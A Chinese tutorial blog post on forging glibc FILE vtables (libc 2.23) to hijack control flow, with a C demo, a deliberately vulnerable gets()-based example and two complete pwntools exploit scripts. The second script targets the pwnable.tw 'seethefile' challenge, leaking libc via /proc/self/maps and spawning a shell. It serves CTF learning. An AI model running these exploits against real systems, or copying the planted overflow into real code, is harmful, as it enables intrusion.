vtable伪造

2023-10-17 19:30
文章标签 伪造 vtable

本文主要是介绍vtable伪造,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

vtable伪造

​ libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的,在之前的版本的利用就不叙述了。虽然libc 数据段的 vtable不可以写入,但是可以通过伪造vtable并且修改_IO_FILE_plus->vtable这个指针来实现劫持程序流程。

直接用wiki上的例子

#define system_ptr 0x7ffff7a523a0;
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(void)
{FILE *fp;long long *vtable_addr,*fake_vtable;fp=fopen("123.txt","rw");fake_vtable=malloc(0x40);vtable_addr=(long long *)((long long)fp+0xd8);     //vtable offsetvtable_addr[0]=(long long)fake_vtable;memcpy(fp,"sh",3);fake_vtable[7]=system_ptr; //xsputnfwrite("hi",2,1,fp);
}

vtable 中的函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递,也就是_flags成员变量。

这里伪造fp的vtable指针,使其指向我们伪造好的区域,fwrite会调用_IO_jump_t中偏移为0x38的指针(__xsputn),让它指向system函数,而fp->_flags上直接放“sh”字符串。运行fwrite时实际上去执行system(“sh”)。(gdb调试运行,不可直接运行,要不然system的地址不正确)

在这里插入图片描述

注:stdin\stdout\stderr这些_IO_FILE_plus结构体变量也是可以被修改的,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。

例1

源码如下example.c

#include<stdio.h>
#include<stdlib.h>
char buf1[0x20]={0};     //0x601080
FILE *fp=NULL;           //0x6010a0
char buf2[0x400]={0};    //0x6010c0
void backdoor(){system("no sh");
}
int main(){fp = fopen("key.txt","rw");gets(buf1);fclose(fp);
}

编译命令

$ gcc -g example.c -o example -no-pie

明显的溢出,不过是在bss段,可以覆盖fp指针和buf2,此处把伪造的file结构体和vtable结构体分别放在buf2上和buf2+0x200上。

file结构体需要伪造的地方

1,_flags 修改为"/bin/sh" 作为vtable调用时的第一个参数

2,_lock

_IO_acquire_lock,此处存在一个对_lock的调用,而_lock是一个指针,指向一个结构体_IO_lock_t,这里只需要让这个指针指向一个合法的地址,并且0x18个字节内的值全是‘\x00’即可。

typedef struct { int lock; int cnt; void *owner; } _IO_lock_t;

在这里插入图片描述

3,vtable指向我们伪造的vtable结构


vtable中需要构造的地方

1,__close

这里改成我们需要执行的地方(system_plt)

寻找方法:可以用peda的pattern create 寻找

在这里插入图片描述

漏洞触发方式:执行fclose时,调用了vtable上的__close(被伪造位system_plt的地址)

最终exp

from pwn import*
context.log_level = 'debug'
p = process('./example')
elf = ELF('./example')
system = elf.plt['system']buf2 = 0x6010c0 
fake_vtable_ptr = buf2+0x200fake_file = '/bin/sh\x00'.ljust(0x88,'\x00')+p64(buf2+0x400)
fake_file = fake_file.ljust(0xd8,'\x00')+p64(fake_vtable_ptr)fake_vtable = '\x00'*0x88+p64(system)payload = 'a'*0x20+p64(buf2)+p64(0)*3
payload += fake_file.ljust(0x200,'\x00')
payload += fake_vtable
#gdb.attach(p,'b *0x40063a')
p.sendline(payload)p.interactive()
例2

pwnable.tw上的seethefile

附件下载(可能被墙):https://pwnable.tw/static/chall/seethefile

32位程序,攻击方法和例1一样,只是各个结构体成员的偏移量不一样而已。

main函数伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{char nptr; // [esp+Ch] [ebp-2Ch]unsigned int v4; // [esp+2Ch] [ebp-Ch]v4 = __readgsdword(0x14u);init();welcome();while ( 1 ){menu();__isoc99_scanf("%s", &nptr);switch ( atoi(&nptr) ){case 1:openfile();break;case 2:readfile();break;case 3:writefile();break;case 4:closefile();break;case 5:printf("Leave your name :");__isoc99_scanf("%s", &name);printf("Thank you %s ,see you next time\n", &name);if ( fp )fclose(fp);exit(0);return;default:puts("Invaild choice");exit(0);return;}}
}

主要功能:

1)openfile:打开文件,文件指针就是fp,不能打开文件名为flag的文件

2)readfile:从fp读取0x18F个字节到magicbuf上

3)closefile:关闭文件,指针fp赋0

4)writefile:只是一个打印函数,而不能写入,不能打印flag,FLAG,}名的文件

case 5处有明显的溢出,可以覆盖fp指针。

相对来说比较新颖的是,这里libc的获取

由于linux独特的文件形式存储,文件的内存信息存储与/proc/pid/maps中,这里pid使用self来代替。

参考文章 http://p4nda.top/2017/09/20/pwnable-tw-seethefile/

在这里插入图片描述

利用这里利用方法和例1一致就不再赘述,直接上exp

from pwn import*
context.log_level = 'debug'
context.update(arch='amd64',os='linux',timeout=1)
p = process('./seethefile')
#p = remote('',)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')def pr(a,addr):log.success(a+'===>'+hex(addr))
def openfile(name):p.recvuntil('Your choice :')p.sendline('1')p.recvuntil('to see :')p.sendline(name)def readfile():p.recvuntil('Your choice :')p.sendline('2')def writefile():p.recvuntil('Your choice :')p.sendline('3')def closefile():p.recvuntil('Your choice :')p.sendline('4')def exit(name):p.recvuntil('Your choice :')p.sendline('5')p.recvuntil('your name :')p.sendline(name)name_addr = 0x804b260
openfile('/proc/self/maps')
readfile()
writefile()
readfile()
writefile()
p.recvuntil('f7')
libcbase = int('0xf7'+p.recv(6),16)+0x1000
system = libcbase + libc.sym['system']
pr('libcbase',libcbase)
pr('system',system)
#gdb.attach(p,'b *0x8048B0F')
fake_file = ('sh'+'\x00'*2).ljust(0x48,'\x00')+p32(0x804b500)
fake_file = fake_file.ljust(0x94,'\x00')+p32(name_addr+0x20+0x94+4)
fake_vtable = '\x00'*64 + p32(system)
payload = 'a'*0x20 + p32(0x0804B284) + fake_file + fake_vtable
exit(payload)
p.interactive()

这篇关于vtable伪造的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/227462

相关文章

【python 爬虫】伪造UA字符串

写好爬虫的原则只有一条: 就是让你的抓取行为和用户访问网站的真实行为尽量一致。 1、伪造UA字符串,每次请求都使用随机生成的UA。 为了减少复杂度,随机生成UA的功能通过第三方库fake-useragent实现 pip install fake-useragent 2、生成一个UA字符串只需要如下代码: 核心代码: from fake_useragent import UserAge

nmap-S伪造源地址进行网络测试

nmap -S伪造源地址 nmap是一个用于网络探测和安全审计的开源工具,它可以用于扫描目标主机的开放端口、确定主机的操作系统、识别网络服务和应用程序版本等。-S选项可以用来指定扫描时使用的源IP地址。 以下是nmap中-S选项的详细说明: 格式:-S <IP地址>作用:指定源IP地址,即指定扫描流量的来源IP地址。使用此选项后,nmap将伪造扫描流量的源IP地址为指定的IP地址。示例:nm

web渗透:CSRF漏洞(跨站请求伪造)

目录 CSRF漏洞 深入研究 CSRF攻击常见于哪些类型的网站? 如何通过HTTP Referer头来防范CSRF攻击? 为什么设置Cookie的SameSite属性对预防CSRF有帮助? 导图 CSRF漏洞 CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种网络安全漏洞,攻击者利用用户已经登录的凭证,诱使用户在不知情的情况下执行恶意操

[Meachines] [Medium] SecNotes XSRF跨站请求伪造+SMB-Webshell上传+Linux子系统命令历史记录泄露权限提升

信息收集 IP AddressOpening Ports10.10.10.97TCP:80,445,8808 $ nmap -p- 10.10.10.97 --min-rate 1000 -sC -sV PORT STATE SERVICE VERSION80/tcp open http Microsoft IIS httpd 10.0| http

SSRF漏洞(服务器端请求伪造)相关案例

目录 前言: 案例:Web-ssrfme 一、redis未授权访问攻击 1.1 进入题目给出源码 1.2 测试ssrf 1.3 查看phpinfo发现主机 1.4 发现服务 1.5 攻击访问 1.6 FLAG 二、redis未授权写入任务计划 2.1 探测开放端口 2.2 导入任务计划 2.3 反弹shell成功 前言: SSRF(Server-Side Requ

vTable实现多维表格

介绍         vTable是字节开发的一款能用来渲染表格的库,是用canvas渲染,避免了传统用dom组件表格的一些问题,能很快的渲染出上万格子的表格。         接下来我将使用vTable构建类似下面的多维表格,其中quantity、sales等是指标。 使用 官网地址:Getting_Started——VisActor/VTable tutorial document

美国一男子伪造死亡逃避抚养义务,获刑六年

为了逃避抚养子女的责任,美国肯塔基州一名39岁的男子Jesse Kipf(杰西·基普夫)竟然采取极端的手段,非法侵入夏威夷的死亡登记系统,通过盗取的登录信息篡改个人记录,将自己伪造成已故状态。 据BleepingComputer报道,Jesse在2023年1月,利用远程操控一名居住于另一州的医生账户,成功访问了该系统,并精心伪造了一份以该医生为医疗证明人的个人死亡证明,还利用医生的数字签名完成了

31. Django 2.1.7 模板 - CSRF 跨站请求伪造

参考文献 https://docs.djangoproject.com/zh-hans/2.1/topics/templates/ CSRF CSRF全拼为Cross Site Request Forgery,译为跨站请求伪造。CSRF指攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的

内容安全复习 8 - 视觉内容伪造与检测

文章目录 研究背景内容伪造方法虚假人脸生成人脸替换属性编辑表情重演跨模态人脸编辑 伪造检测方法眨眼检测交互式人脸活体检测一些了解方法挑战 研究背景 图像内容篡改造成新闻报道的偏颇易导致社会和公共秩序的不安,对公共安全产生不良影响。 造成的影响: 政治抹黑、军事欺骗、恐怖主义、社交媒体涟漪效应、经济犯罪、网络诈骗。 内容伪造方法 分类如下: 接下来对每种方法进行解释。

人机协同的深度伪造技术

人机协同的深度伪造技术是指人工智能技术与人类合作,利用深度学习和生成对抗网络(GAN)等技术,创建高度逼真的虚假信息或媒体内容。这种技术可以用于制作假视频、假新闻、假音频等,具有极高的迷惑性和欺骗性,可能对社会和个人产生严重影响。在合法和伦理边界不明确的情况下,人机协同的深度伪造技术可能引发信息安全、隐私保护以及社会信任等方面的问题和争议。人机协同的深度伪